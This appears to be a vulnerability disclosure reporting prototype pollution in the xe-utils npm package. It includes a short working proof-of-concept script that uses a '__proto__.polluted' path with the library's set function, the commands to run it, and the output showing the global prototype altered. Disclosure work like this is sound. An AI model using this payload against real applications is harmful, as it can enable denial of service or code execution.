Prototype Pollution in x-extends/xe-utils


Reported on

Jan 7th 2021


xe-utils is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { set } = require('xe-utils')
console.log('Before: ', {}.polluted)
set({}, '__proto__.polluted', true)
console.log('After: ', {}.polluted)
  1. Execute the following commands in the terminal:
npm i xe-utils # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.

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